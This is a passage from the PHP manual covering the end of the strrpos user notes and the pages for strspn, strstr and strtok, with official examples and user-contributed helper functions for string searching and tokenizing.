                if(strncmp(substr($haystack,$ret,strlen($needle)),
                                $needle,strlen($needle)) == 0 )
                        return $ret;
                $haystack = substr($haystack,0,$ret -1 );
        }
        return $ret;
}
?>
griffioen at justdesign dot nl 17-Nov-2004 10:57
If you wish to look for the last occurrence of a STRING in a string (instead of a single character) and don't have mb_strrpos working, try this:

    function lastIndexOf($haystack, $needle) {
        $index        = strpos(strrev($haystack), strrev($needle));
        $index        = strlen($haystack) - strlen(index) - $index;
        return $index;
    }
nexman at playoutloud dot net 07-Oct-2004 09:22
Function like the 5.0 version of strrpos for 4.x.
This will return the *last* occurence of a string within a string.

    function strepos($haystack, $needle, $offset=0) {
        $pos_rule = ($offset<0)?strlen($haystack)+($offset-1):$offset;
        $last_pos = false; $first_run = true;
        do {
            $pos=strpos($haystack, $needle, (intval($last_pos)+(($first_run)?0:strlen($needle))));
            if ($pos!==false && (($offset<0 && $pos <= $pos_rule)||$offset >= 0)) {
                $last_pos = $pos;
            } else { break; }
            $first_run = false;
        } while ($pos !== false);
        if ($offset>0 && $last_pos<$pos_rule) { $last_pos = false; }
        return $last_pos;
    }

If my math is off, please feel free to correct.
  - A positive offset will be the minimum character index position of the first character allowed.
  - A negative offset will be subtracted from the total length and the position directly before will be the maximum index of the first character being searched.

returns the character index ( 0+ ) of the last occurence of the needle.

* boolean FALSE will return no matches within the haystack, or outside boundries specified by the offset.
harlequin AT gmx DOT de 26-May-2004 09:59
this is my function for finding a filename in a URL:

<?php
    function getfname($url){
        $pos = strrpos($url, "/");
        if ($pos === false) {
            // not found / no filename in url...
            return false;
        } else {
            // Get the string length
            $len = strlen($url);
            if ($len < $pos){
                        print "$len / $pos";
                // the last slash we found belongs to http:// or it is the trailing slash of a URL
                return false;
            } else {
                $filename = substr($url, $pos+1, $len-$pos-1);
            }
        }
        return $filename;
    }
?>
tsa at medicine dot wisc dot edu 24-May-2004 05:17
What the heck, I thought I'd throw another function in the mix.  It's not pretty but the following function counts backwards from your starting point and tells you the last occurrance of a mixed char string:

<?php
function strrposmixed ($haystack, $needle, $start=0) {
   // init start as the end of the str if not set
   if($start == 0) {
       $start = strlen($haystack);
   }

   // searches backward from $start
   $currentStrPos=$start;
   $lastFoundPos=false;

   while($currentStrPos != 0) {
       if(!(strpos($haystack,$needle,$currentStrPos) === false)) {
           $lastFoundPos=strpos($haystack,$needle,$currentStrPos);
           break;
       }
       $currentStrPos--;
   }

   if($lastFoundPos === false) {
       return false;
   } else {
       return $lastFoundPos;
   }
}
?>
dreamclub2000 at hotmail dot com 04-Feb-2004 12:17
This function does what strrpos would if it handled multi-character strings:

<?php
function getLastStr($hay, $need){
  $getLastStr = 0;
  $pos = strpos($hay, $need);
  if (is_int ($pos)){ //this is to decide whether it is "false" or "0"
    while($pos) {
      $getLastStr = $getLastStr + $pos + strlen($need);
      $hay = substr ($hay , $pos + strlen($need));
      $pos = strpos($hay, $need);
    }
    return $getLastStr - strlen($need);
  } else {
    return -1; //if $need wasn´t found it returns "-1" , because it could return "0" if it´s found on position "0".
  }
}
?>
ZaraWebFX 14-Oct-2003 11:06
this could be, what derek mentioned:

<?
function cut_last_occurence($string,$cut_off) {
    return strrev(substr(strstr(strrev($string), strrev($cut_off)),strlen($cut_off)));
}

//    example: cut off the last occurence of "limit"
    $str = "select delta_limit1, delta_limit2, delta_limit3 from table limit 1,7";
    $search = " limit";
    echo $str."\n";
    echo cut_last_occurence($str,"limit");
?>
lee at 5ss dot net 29-Aug-2003 07:21
I should have looked here first, but instead I wrote my own version of strrpos that supports searching for entire strings, rather than individual characters.  This is a recursive function.  I have not tested to see if it is more or less efficient than the others on the page.  I hope this helps someone!

<?php
//Find last occurance of needle in haystack
function str_rpos($haystack, $needle, $start = 0){
    $tempPos = strpos($haystack, $needle, $start);
    if($tempPos === false){
        if($start == 0){
            //Needle not in string at all
            return false;
        }else{
            //No more occurances found
            return $start - strlen($needle);
        }
    }else{
        //Find the next occurance
        return str_rpos($haystack, $needle, $tempPos + strlen($needle));
    }
}
?>
ara at bluemedia dot us 14-Jul-2003 01:09
derek@slashview.com notes a great replacement for strrpos because of the single character needle limitation in the strrpos function. He made a slight error in the code. He adds the length of the needle string instead of subtracting it from the final position. The function should be:

<?php
function strlastpos($haystack, $needle) {
# flip both strings around and search, then adjust position based on string lengths
return strlen($haystack) - strlen($needle) - strpos(strrev($haystack), strrev($needle));
}
?>
no_spammage_at_wwwcrm_dot_com 24-Apr-2003 08:07
This function does what strrpos would if it handled multi-character strings:

<?php
//function recurses until it finds last instance of $needle in $haystack

function getLastStr($haystack, $needle, $first_time=1){

                  $test=strstr($haystack, $needle);//is the needle there?
                  if ($test) return getLastStr($test, $needle, 0);//see if there is another one?
                  else if ($first_time) return false;//there is no occurence at all
                  else return $haystack;//that was the last occurence

                }
?>
FIE 15-Feb-2003 05:03
refering to the comment and function about lastIndexOf()...
It seemed not to work for me the only reason I could find was the haystack was reversed and the string wasnt therefore it returnt the length of the haystack rather than the position of the last needle... i rewrote it as fallows:

<?php
function strlpos($f_haystack,$f_needle) {
      $rev_str = strrev($f_needle);
      $rev_hay = strrev($f_haystack);
      $hay_len = strlen($f_haystack);
      $ned_pos = strpos($rev_hay,$rev_str);
      $result  = $hay_len - $ned_pos - strlen($rev_str);
      return $result;
}
?>

this one fallows the strpos syntax rather than java's lastIndexOf.
I'm not positive if it takes more resources assigning all of those variables in there but you can put it all in return if you want, i dont care if i crash my server ;).

~SILENT WIND OF DOOM WOOSH!
rob at pulpchat dot com 22-Jan-2003 02:23
For those of you coming from VBScript, I have
converted the instrrev function to PHP:

<?php
function instrrev($n,$s) {
  $x=strpos(chr(0).strrev($n),$s)+0;
  return (($x==0) ? 0 : strlen($n)-$x+1);
}
?>

Remember that, unlike PHP and Javascript, VBScript
returns 0 for no string found and 1 for the first
character position, etc.

Hopefully this will save some time if you are
converting ASP pages to PHP.
php dot net at insite-out dot com 17-Dec-2002 11:47
I was looking for the equivalent of Java's lastIndexOf(). I couldn't find it so I wrote this:

<?php
/*
Method to return the last occurrence of a substring within a
string
*/
function last_index_of($sub_str,$instr) {
    if(strstr($instr,$sub_str)!="") {
        return(strlen($instr)-strpos(strrev($instr),$sub_str));
    }
    return(-1);
}
?>

It returns the numerical index of the substring you're searching for, or -1 if the substring doesn't exist within the string.
su.noseelg@naes, only backwards 13-Dec-2002 10:39
Maybe I'm the only one who's bothered by it, but it really bugs me when the last line in a paragraph is a single word. Here's an example to explain what I don't like:

The quick brown fox jumps over the lazy
dog.

So that's why I wrote this function. In any paragraph that contains more than 1 space (i.e., more than two words), it will replace the last space with '&nbsp;'.

<?php
function no_orphans($TheParagraph) {
    if (substr_count($TheParagraph," ") > 1) {
    $lastspace = strrpos($TheParagraph," ");
    $TheParagraph = substr_replace($TheParagraph,"&nbsp;",$lastspace,1);
    }
return $TheParagraph;
}
?>

So, it would change "The quick brown fox jumps over the lazy dog." to "The quick brown fox jumps over the lazy&nbsp;dog." That way, the last two words will always stay together.
DONT SPAM vardges at iqnest dot com 30-Oct-2002 01:22
that function can be modified to this

<?php
function strrpos_str ($string, $searchFor, $startFrom = 0)
{
    $addLen = strlen ($searchFor);
    $endPos = $startFrom - $addLen;

    while (true)
    {
        if (($newPos = strpos ($string, $searchFor, $endPos + $addLen)) === false) break;
        $endPos = $newPos;
    }

    return ($endPos >= 0) ? $endPos : false;
}

// example
$str = "abcabcabc";
$search = "ab";

$pos = strrpos_str ($str, $search);
if ($pos === false) echo "not found";
else echo $pos; // returns 6 in this case
?>
28-May-2002 12:46
Cause:
Find position of last occurrence of a string in a string...
and I needed it, I hacked a little code to do this:

Maybe it is helpful for you.

<?php
 function _strrpos_needle($sourcestring,$needle){

    /* just for easier understanding */
    $tempString=$sourcestring;

    do {
      $tempPos=strpos($tempString,$needle);
      $tempString=substr($tempString,$tempPos+strlen($needle));
      $realPos=$realPos+$tempPos;
    } while (!is_bool($tempPos));

    return $realPos;

  }
?>
derek at slashview dot com 01-Feb-2002 04:06
To find the position of the start of the last occurence of a string, we can do this:
$pos=strlen($haystack) - (strpos(strrev($haystack), strrev($needle)) + strlen($needle));
The idea is to reverse both $needle and $haystack, use strpos to find the first occurence of $needle in $haystack, then count backwards by the length of $needle. Finally, subtract $pos from length of $haystack. A lot easier to figure out if you use a test string to visualize it.  :)
strripos
strspn
String Functions


Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask.

strrpos
strstr
String Functions
PHP Manual

strspn

(PHP 4, PHP 5)

strspn — Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask.

Description

int strspn ( string $subject , string $mask [, int $start [, int $length ]] )

Finds the length of the initial segment of subject that contains only characters from mask.

If start and length are omitted, then all of subject will be examined. If they are included, then the effect will be the same as calling strspn(substr($subject, $start, $length), $mask) (see substr for more information).

The line of code:

<?php
$var = strspn("42 is the answer to the 128th question.", "1234567890");
?>
will assign 2 to $var, because the string "42" is the initial segment of subject that consists only of characters contained within "1234567890".

Parameters

subject

The string to examine.

mask

The list of allowable characters.

start

The position in subject to start searching.

If start is given and is non-negative, then strspn() will begin examining subject at the start'th position. For instance, in the string 'abcdef', the character at position 0 is 'a', the character at position 2 is 'c', and so forth.

If start is given and is negative, then strspn() will begin examining subject at the start'th position from the end of subject.

length

The length of the segment from subject to examine.

If length is given and is non-negative, then subject will be examined for length characters after the starting position.

If lengthis given and is negative, then subject will be examined from the starting position up to length characters from the end of subject.

Return Values

Returns the length of the initial segment of subject which consists entirely of characters in mask.

Changelog

Version | Description
4.3.0 | The start and length parameters were added

Examples

Example #1 strspn() example

<?php
// subject does not start with any characters from mask
var_dump(strspn("foo", "o"));

// examine two characters from subject starting at offset 1
var_dump(strspn("foo", "o", 1, 2));

// examine one character from subject starting at offset 1
var_dump(strspn("foo", "o", 1, 1));
?>

The above example will output:

int(0)
int(2)
int(1)

Notes

Note: This function is binary-safe.

See Also

  • strcspn() - Find length of initial segment not matching mask

User Contributed Notes

mrsohailkhan at gmail dot com 01-Feb-2011 12:56
very dificult to get from the definition directly, while i search for that,i came to know that

strspn() will tell you the length of a string consisting entirely of the set of characters in accept set. That is, it starts walking down str until it finds a character that is not in the set (that is, a character that is not to be accepted), and returns the length of the string so far.

and

strcspn() works much the same way, except that it walks down str until it finds a character in the reject set (that is, a character that is to be rejected.) It then returns the length of the string so far.

<?php
$acceptSet = "aeiou";
$rejectSet  = "y";

$str1 ="a banana";
$str2 ="the bolivian navy on manuvers in the south pacific";

echo $n = strspn($str1,$acceptSet);// $n == 1, just "a"

echo $n = strcspn($str2,$rejectSet);// n = 16, "the bolivian nav"
?>

hope this example will help in understanding the concept of strspn() and strcspn().
AT-HE (at_he.hotmail) 28-Nov-2010 02:45
you can use this function with strlen to check illegal characters, string lenght must be the same than strspn (characters from my string contained in another)

<?php

$digits='0123456789';

if (strlen($phone) != strspn($phone,$digits))
 echo "illegal characters";

?>
Dmitry Mazur 04-Mar-2009 10:23
The second parameter is a set of allowed characters.
strspn will return an zero-based index of a first non-allowed character.
barry dot balkowski at gmail dot com 08-Aug-2008 02:12
It took me some time to understand the way this function works…
I’ve compiled my own explanation with my own words that is more understandable for me personally than the official one or those that can be found in different tutorials on the web.
Perhaps, it will save someone several minutes…

<?php
strspn(string $haystack, string $char_list [, int $start [, int $length]])
?>

The way it works:
 -   searches for a segment of $haystack that consists entirely from supplied through the second argument chars
 -   $haystack must start from one of the chars supplied through $char_list, otherwise the function will find nothing
 -   as soon as the function encounters a char that was not mentioned in $chars it understands that the segment is over and stops (it doesn’t search for the second, third and so on segments)
 -   finally, it measures the segment’s length and return it (i.e. length)

In other words it finds a span (only the first one) in the string that consists entirely form chars supplied in $chars_list and returns its length
B Crawford 02-Oct-2007 05:20
This function is significantly faster for checking illegal characters than the equivalent preg_match() method.
strrpos
strstr
String Functions


Find the first occurrence of a string

strspn
strtok
String Functions
PHP Manual

strstr

(PHP 4, PHP 5)

strstr — Find the first occurrence of a string

Description

string strstr ( string $haystack , mixed $needle [, bool $before_needle = false ] )

Returns part of haystack string from the first occurrence of needle to the end of haystack.

Note:

This function is case-sensitive. For case-insensitive searches, use stristr().

Note:

If you only want to determine if a particular needle occurs within haystack, use the faster and less memory intensive function strpos() instead.

Parameters

haystack

The input string.

needle

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

before_needle

If TRUE, strstr() returns the part of the haystack before the first occurrence of the needle.

Return Values

Returns the portion of string, or FALSE if needle is not found.

Changelog

Version | Description
5.3.0 | Added the optional parameter before_needle.
4.3.0 | strstr() was made binary safe.

Examples

Example #1 strstr() example

<?php
$email  = 'name@example.com';
$domain = strstr($email, '@');
echo $domain; // prints @example.com

$user = strstr($email, '@', true); // As of PHP 5.3.0
echo $user; // prints name
?>

See Also

  • stristr() - Case-insensitive strstr
  • strrchr() - Find the last occurrence of a character in a string
  • strpos() - Find the position of the first occurrence of a substring in a string
  • strpbrk() - Search a string for any of a set of characters
  • preg_match() - Perform a regular expression match

User Contributed Notes

xydon1 at yahoo dot com 31-Aug-2011 03:03
I explained this to my newbies the difference though it would be good to demonstrate this here. If you are evaluating a list you cannot use strstr as it looks for any occurance. The correct way is the function which evaluates a true or false on the exact value to check.

In the following example I have a list of promotion ids I want to evaluate whether or not a promotion exists:

<?php
//Wrong
$promotion = strstr("25,56","2");
if($promotion){
  echo "found";
}else{
  echo "not found";
}

//right
function detectPromotion($string,$promotion){
  foreach(explode(",",$string) as $promotionToCheck){
    echo "checkin ".$promotionToCheck."==".$promotion."<br/>";
    if($promotionToCheck==$promotion){
      $promotionFound=true;
    }
  }
  return $promotionFound;
}

echo detectPromotion("2,56","2");
?>
gruessle at gmail dot com 20-Apr-2011 01:39
Been using this for years:

<?php
/**
*
* @author : Dennis T Kaplan
*
* @version : 1.0
* Date : June 17, 2007
* Function : reverse strstr()
* Purpose : Returns part of haystack string from start to the first occurrence of needle
* $haystack = 'this/that/whatever';
* $result = rstrstr($haystack, '/')
* $result == this
*
* @access public
* @param string $haystack, string $needle
* @return string
**/

function rstrstr($haystack,$needle)
    {
        return substr($haystack, 0,strpos($haystack, $needle));
    }
?>

You could change it to:
rstrstr ( string $haystack , mixed $needle [, int $start] )
<?php

function rstrstr($haystack,$needle, $start=0)
    {
        return substr($haystack, $start,strpos($haystack, $needle));
    }

?>
w3b_monk3y at yahoo dot com 20-Jan-2009 12:28
If you want to emulate strstr's new before_needle parameter pre 5.3 strtok is faster than using strpos to find the needle and cutting with substr. The amount of difference varies with string size but strtok is always faster.
tim 25-Nov-2007 04:42
I simplified prafe at prafesplace dot com's function:

<?php
function strstrbi($haystack, $needle, $before_needle=FALSE, $include_needle=TRUE, $case_sensitive=FALSE) {
 //Find the position of $needle
 if($case_sensitive) {
  $pos=strpos($haystack,$needle);
 } else {
  $pos=strpos(strtolower($haystack),strtolower($needle));
 }

 //If $needle not found, abort
 if($pos===FALSE) return FALSE;

 //Adjust $pos to include/exclude the needle
 if($before_needle==$include_needle) $pos+=strlen($needle);

 //get everything from 0 to $pos?
 if($before_needle) return substr($haystack,0,$pos);

 //otherwise, go from $pos to end
 return substr($haystack,$pos);
}
?>

It's now 600 bytes, down from 2k.

Also, here are replacements for strstr and stristr:

<?php
function strstr($haystack, $needle, $before_needle=FALSE) {
 //Find position of $needle or abort
 if(($pos=strpos($haystack,$needle))===FALSE) return FALSE;

 if($before_needle) return substr($haystack,0,$pos+strlen($needle));
 else return substr($haystack,$pos);
}

function stristr($haystack, $needle, $before_needle=FALSE) {
 //Find position of $needle or abort
 if(($pos=strpos(strtolower($haystack),strtolower($needle)))===FALSE) return FALSE;

 if($before_needle) return substr($haystack,0,$pos+strlen($needle));
 else return substr($haystack,$pos);
}
?>
brett dot jr dot alton at gmail dot com 25-Nov-2007 08:02
For the needle_before (first occurance) parameter when using PHP 5.x or less, try:

<?php
$haystack = 'php-homepage-20071125.png';
$needle = '-';
$result = substr($haystack, 0, strpos($haystack, $needle)); // $result = php
?>
prafe at prafesplace dot com 21-Nov-2007 09:14
If you want to use the $before_needle parameter that's only in PHP 5.3.0, I found a way to use it in lower versions.

The code is a bit hefty, but it works. It also has added $include_needle and $case_sensitive.

<?php
// ==== I don't guarantee this is faster than the PHP 6 before needle, ====
// ====  but it works for PHP below 6 atleast. ====
// ==== IT ALSO HAS INCLUDE NEEDLE BOOLEAN.. ====
function strstrbi($haystack,$needle,$before_needle,
$include_needle,$case_sensitive)
{
  $strstr = ($case_sensitive) ? 'strstr' : 'stristr';
  if($before_needle!=true && $before_needle!=false && isset($before_needle)){
      die('PHP: Error in function '.chr(39).'$strstrbi'. chr(39).' :  parameter '. chr(39).'$before_needle'.chr(39).' is not a supplied as a boolean.');
  } // END BOOLEAN CHECK '$before_needle'

  if($include_needle!=true && $include_needle!=false && isset($include_needle)){
    die('PHP: Error in function '.chr(39).'$strstrbi'. chr(39).' : parameter '. chr(39).'$include_needle'.chr(39). ' is not a supplied as a boolean.');
  } // END BOOLEAN CHECK '$include_needle'

  if($case_sensitive!=true && $case_sensitive!=false && isset($case_sensitive)){
    die('PHP: Error in function '.chr(39).'$strstrbi' .chr(39).' : parameter '. chr(39).'$case_sensitive'.chr(39).' is not a supplied as a boolean.');
  } // END BOOLEAN CHECK '$case_sensitive'

  if(!isset($before_needle)){
    $before_needle=false;
  }

  if(!isset($include_needle)){
    $include_needle=true;
  }

  if(!isset($case_sensitive)){
    $case_sensitive=false;
  }

  switch($before_needle){
    case true:
      switch($include_needle){
        case true:
          $temp=strrev($haystack);
          $ret=strrev(substr($strstr($temp,$needle),0));
          break;
        // END case true : $include_needle
        case false:
          $temp=strrev($haystack);
          $ret=strrev(substr($strstr($temp,$needle),1));
          break;
        // END case false : $include_needle
      }
      break;
    // END case true : $before_needle
    case false:
      switch($include_needle){
        case true:
          $ret=$strstr($haystack,$needle);
          break;
        // END case true: $include_needle
        case false:
          $ret=substr($strstr($haystack,$needle),1);
          break;
        // END case false: $include_needle
    }
    break;
    // END case false : $before_needle
  }

  if(!empty($ret)){
    return $ret;
  }else{
    return false;
  }
}
// === END FUNCTION 'strstrbi'

// Example

$email  = 'user@example.com';
$domain = strstrbi($email, '@', false, false, false);
echo $domain; // prints example.com

$user = strstrbi($email, '@', true, false, false);
echo $user; // prints user
?>
root at mantoru dot de 10-Nov-2007 03:22
Please note that $needle is included in the return string, as shown in the example above. This ist not always desired behavior, _especially_ in the mentioned example. Use this if you want everything AFTER $needle.

<?php
function strstr_after($haystack, $needle, $case_insensitive = false) {
    $strpos = ($case_insensitive) ? 'stripos' : 'strpos';
    $pos = $strpos($haystack, $needle);
    if (is_int($pos)) {
        return substr($haystack, $pos + strlen($needle));
    }
    // Most likely false or null
    return $pos;
}

// Example
$email = 'name@example.com';
$domain = strstr_after($email, '@');
echo $domain; // prints example.com
?>
gigaman2003 at halfempty dot co dot uk 24-Feb-2007 12:48
Often you will need to find all occurrences of a string (for security escapes and such)

So I wrote this function to return an array with the locations of all the occurrences. Almost like an advanced strstr.

<?php
function findall($needle, $haystack)
{
    //Setting up
    $buffer=''; //We will use a 'frameshift' buffer for this search
    $pos=0; //Pointer
    $end = strlen($haystack); //The end of the string
    $getchar=''; //The next character in the string
    $needlelen=strlen($needle); //The length of the needle to find (speeds up searching)
    $found = array(); //The array we will store results in

    while($pos<$end)//Scan file
    {
        $getchar = substr($haystack,$pos,1); //Grab next character from pointer
        if($getchar!="\n" || buffer<$needlelen) //If we fetched a line break, or the buffer is still smaller than the needle, ignore and grab next character
        {
            $buffer = $buffer . $getchar; //Build frameshift buffer
            if(strlen($buffer)>$needlelen) //If the buffer is longer than the needle
            {
                $buffer = substr($buffer,-$needlelen);//Truncunate backwards to needle length (backwards so that the frame 'moves')
            }
            if($buffer==$needle) //If the buffer matches the needle
            {
                $found[]=$pos-$needlelen+1; //Add the location of the needle to the array. Adding one fixes the offset.
            }
        }
        $pos++; //Increment the pointer
    }
    if(array_key_exists(0,$found)) //Check for an empty array
    {
        return $found; //Return the array of located positions
    }
    else
    {
        return false; //Or if no instances were found return false
    }
}
?>

Haven't had the chance to speed test it, but many optimizations should be possible. It just works enough for me. Hope it saves someone a lot of time.
06-Jun-2005 09:13
suggestion for [leo dot nard at free dot fr]:
to be able to cut the string without having the html entities being cut in half, use this instead:

<?php

$oldstr = "F&ouml;r att klippa av en str&auml;ng som inneh&aring;ller skandinaviska (eller Franska, f&ouml;r den delen) tecken, kan man g&ouml;ra s&aring;h&auml;r...";

$length = 50;

# First, first we want to decode the entities (to get them as usual chars), then cut the string at for example 50 chars, and then encoding the result of that again.

# Or, as I had it done, in one line:
$newstr = htmlentities(substr(html_entity_decode($oldstr), 0, $length));
$newstr2 = substr($oldstr, 0, $length);
# It's not quite as much code as the snippet you've coded to remove the half-portions... ;)
# Hopefully somebody finds this useful!
echo "Without the decode-encode snippet:
$newstr2

With the decode-encode snippet:
$newstr";
?>

The above outputs this:

Without the decode-encode snippet:
F&ouml;r att klippa av en str&auml;ng som inneh&ar

With the decode-encode snippet:
F&ouml;r att klippa av en str&auml;ng som inneh&aring;ller skandin

First post in this db ;)
Best regards, Mikael R�nn, FIN
leo dot nard at free dot fr 24-May-2005 02:12
When encoding ASCII strings to HTML size-limited strings, sometimes some HTML special chars were cut.

For example, when encoding "��" to a string of size 10, you would get: "à&a" => the second character is cut.

This function will remove any unterminated HTML special characters from the string...

<?php
function cut_html($string)
{
    $a=$string;

    while ($a = strstr($a, '&'))
    {
        echo "'".$a."'\n";
        $b=strstr($a, ';');
        if (!$b)
        {
            echo "couper...\n";
            $nb=strlen($a);
            return substr($string, 0, strlen($string)-$nb);
        }
        $a=substr($a,1,strlen($a)-1);
    }
    return $string;
}
?>
Romuald Brunet 21-Jan-2004 12:25
Regarding the note of the manual concerning the speed of strstr against strpos, for people who wants to check a needle occurs within haystack, it apprears that strstr() is in facts faster than strpos().

Example:
<?php
// [VERY] Quick email check:
if ( strstr("email@domain.tld", "@") ) {
// Ok
}
?>

is faster than

<?php
if ( strpos("email@domain.tld", "@") !== FALSE ) {
// Ok
}

Without using the true equality with !==, strpos() is faster. But then if the haystack starts with needle the condition whould not be met.
php at silisoftware dot com 14-Feb-2003 03:37
PHP versions before 4.3.0 (tested on 4.2.2 and 4.2.3) return the $haystack from $needle only up to the first null character. So for example:

<?php
$string = strstr("one#two\x00three", "#");
// PHP 4.2.x:  $string contains "#two"
// PHP 4.3.0:  $string contains "#two\x00three"
?>

If you're trying to match nulls, you will probably get back an empty string:

<?php
$string = strstr("one#two\x00three", "\x00");
// PHP 4.2.x:  $string contains ""
// PHP 4.3.0:  $string contains "\x00three"
?>
strspn
strtok
String Functions


Tokenize string

strstr
strtolower
String Functions
PHP Manual

strtok

(PHP 4, PHP 5)

strtok — Tokenize string

Description

string strtok ( string $str , string $token )
string strtok ( string $token )

strtok() splits a string (str) into smaller strings (tokens), with each token being delimited by any character from token. That is, if you have a string like "This is an example string" you could tokenize this string into its individual words by using the space character as the token.

Note that only the first call to strtok uses the string argument. Every subsequent call to strtok only needs the token to use, as it keeps track of where it is in the current string. To start over, or to tokenize a new string you simply call strtok with the string argument again to initialize it. Note that you may put multiple tokens in the token parameter. The string will be tokenized when any one of the characters in the argument are found.

Parameters

str

The string being split up into smaller strings (tokens).

token

The delimiter used when splitting up str.

Return Values

A string token.

Examples

Example #1 strtok() example

<?php
$string = "This is\tan example\nstring";
/* Use tab and newline as tokenizing characters as well  */
$tok = strtok($string, " \n\t");

while ($tok !== false) {
    echo "Word=$tok<br />";
    $tok = strtok(" \n\t");
}
?>

The behavior when an empty part was found changed with PHP 4.1.0. The old behavior returned an empty string, while the new, correct, behavior simply skips the part of the string:

Example #2 Old strtok() behavior

<?php
$first_token  = strtok('/something', '/');
$second_token = strtok('/');
var_dump($first_token, $second_token);
?>

The above example will output:

    string(0) ""
    string(9) "something"

Example #3 New strtok() behavior

<?php
$first_token  = strtok('/something', '/');
$second_token = strtok('/');
var_dump($first_token, $second_token);
?>

The above example will output:

    string(9) "something"
    bool(false)

Notes

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

See Also

  • split() - Split string into array by regular expression
  • explode() - Split a string by string

User Contributed Notes

pradador at me dot com 13-May-2011 12:10
Here's a simple class that allows you to iterate through string tokens using a foreach loop.

<?php
/**
 * The TokenIterator class allows you to iterate through string tokens using
 * the familiar foreach control structure.
 *
 * Example:
 * <code>
 * <?php
 * $string = 'This is a test.';
 * $delimiters = ' ';
 * $ti = new TokenIterator($string, $delimiters);
 *
 * foreach ($ti as $count => $token) {
 *     echo sprintf("%d, %s\n", $count, $token);
 * }
 *
 * // Prints the following output:
 * // 0. This
 * // 1. is
 * // 2. a
 * // 3. test.
 * </code>
 */
class TokenIterator implements Iterator
{
    /**
     * The string to tokenize.
     * @var string
     */
    protected $_string;

    /**
     * The token delimiters.
     * @var string
     */
    protected $_delims;

    /**
     * Stores the current token.
     * @var mixed
     */
    protected $_token;

    /**
     * Internal token counter.
     * @var int
     */
    protected $_counter = 0;

    /**
     * Constructor.
     *
     * @param string $string The string to tokenize.
     * @param string $delims The token delimiters.
     */
    public function __construct($string, $delims)
    {
        $this->_string = $string;
        $this->_delims = $delims;
        $this->_token = strtok($string, $delims);
    }

    /**
     * @see Iterator::current()
     */
    public function current()
    {
        return $this->_token;
    }

    /**
     * @see Iterator::key()
     */
    public function key()
    {
        return $this->_counter;
    }

    /**
     * @see Iterator::next()
     */
    public function next()
    {
        $this->_token = strtok($this->_delims);

        if ($this->valid()) {
            ++$this->_counter;
        }
    }

    /**
     * @see Iterator::rewind()
     */
    public function rewind()
    {
        $this->_counter = 0;
        $this->_token   = strtok($this->_string, $this->_delims);
    }

    /**
     * @see Iterator::valid()
     */
    public function valid()
    {
        return $this->_token !== FALSE;
    }
}
?>
elarlang at gmail dot com 22-Mar-2011 10:45
If you have memory-usage critical solution, you should keep in mind, that strtok function holds input string parameter (or reference to it?) in memory after usage.

<?php
function tokenize($str, $token_symbols) {
    $word = strtok($str, $token_symbols);
    while (false !== $word) {
        // do something here...
        $word = strtok($token_symbols);
    }
}
?>
Test-cases with handling ~10MB plain-text file:
Case #1 - unset $str variable
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // mem usage 9.75383758545 MB (memory_get_usage() / 1024 / 1024));
tokenize($str, $token_symbols); // mem usage 9.75400161743 MB
unset($str); // 9.75395584106 MB
?>
Case #1 result: memory is still used

Case #2 - call strtok again
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // 9.75401306152 MB
tokenize($str, $token_symbols); // 9.75417709351
strtok('', ''); // 9.75421524048
?>
Case #2 result: memory is still used

Case #3 - call strtok again AND unset $str variable
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // 9.75410079956 MB
tokenize($str, $token_symbols); // 9.75426483154 MB
unset($str);
strtok('', ''); // 0.0543975830078 MB
?>
Case #3 result: memory is free

So, better solution for tokenize function:
<?php
function tokenize($str, $token_symbols, $token_reset = true) {
    $word = strtok($str, $token_symbols);
    while (false !== $word) {
        // do something here...
        $word = strtok($token_symbols);
    }

    if($token_reset)
        strtok('', '');
}
?>
fabiolimasouto at gmail dot com 20-Nov-2010 05:54
this example will hopefully help you understand how this function works:

<?php
$selector = 'div.class#id';
$tagname = strtok($selector,'.#');
echo $tagname.'<br/>';

while($tok = strtok('.#'))
{
 echo $tok.'<br/>';
}

?>

Outputs:
div
class
id
php at ciutureanu dot ro 08-Sep-2010 08:08
I wrote a function which adds links based on a list of keywords => hrefs, avoiding attributes inside HTML tags which matches those keywords.

<?php
    function addLinks($str_in, $replaces) {
        $str_out = '';
        $tok = strtok($str_in, '<>');
        $must_replace = (substr($str_in, 0, 1) !== '<');
        while ($tok !== false) {
            if ($must_replace) {
                foreach ($replaces as $tag => $href) {
                    if (preg_match('/\b' . $tag . '\b/', $tok)) {
                        $tok = preg_replace('/\b(' . $tag . ')\b/', '<a title="' . $href . '" href="' . $href . '">\1</a>', $tok, 1);
                        unset($replaces[$tag]);
                    }
                }
            } else {
                $tok = "<$tok>";
            }
            $str_out .= $tok;
            $tok = strtok('<>');
            $must_replace = !$must_replace;
        }
        return $str_out;
    }

    $replaces = array(
        'Obama' => 'http://en.wikipedia.org/wiki/Barack_Obama',
        'php' => 'http://www.php.net/',
    );
    $s = 'This php function will <em title="Obama">replace</em> only first occurance of Obama, but not the second occurance of Obama';
    echo "$s<hr />" . addLinks($s, $replaces);
?>
benighted at gmail dot com 06-Nov-2009 06:47
Simple way to tokenize search parameters, including double or single quoted keys.  If only one quote is found, the rest of the string is assumed to be part of that token.

<?php
            $token = strtok($keywords,' ');
            while ($token) {
                // find double quoted tokens
                if ($token{0}=='"') { $token .= ' '.strtok('"').'"'; }
                // find single quoted tokens
                if ($token{0}=="'") { $token .= ' '.strtok("'")."'"; }

                $tokens[] = $token;
                $token = strtok(' ');
            }
?>

Use substr(1,strlen($token)) and remove the part that adds the trailing quotes if you want your output without quotes.
azeem 02-Sep-2009 12:14
Here is a java like StringTokenizer class using strtok function:

<?php

/**
 * The string tokenizer class allows an application to break a string into tokens.
 *
 * @example The following is one example of the use of the tokenizer. The code:
 * <code>
 * <?php
 *    $str = 'this is:@\t\n a test!';
 *    $delim = ' !@:'\t\n; // remove these chars
 *    $st = new StringTokenizer($str, $delim);
 *    while ($st->hasMoreTokens()) {
 *        echo $st->nextToken() . "\n";
 *    }
 *    prints the following output:
 *      this
 *      is
 *      a
 *      test
 * ?>
 * </code>
 */
class StringTokenizer {

    /**
     * @var string
     */
    private $token;

    /**
     * @var string
     */
    private $delim;
    /**
     * Constructs a string tokenizer for the specified string
     * @param string $str String to tokenize
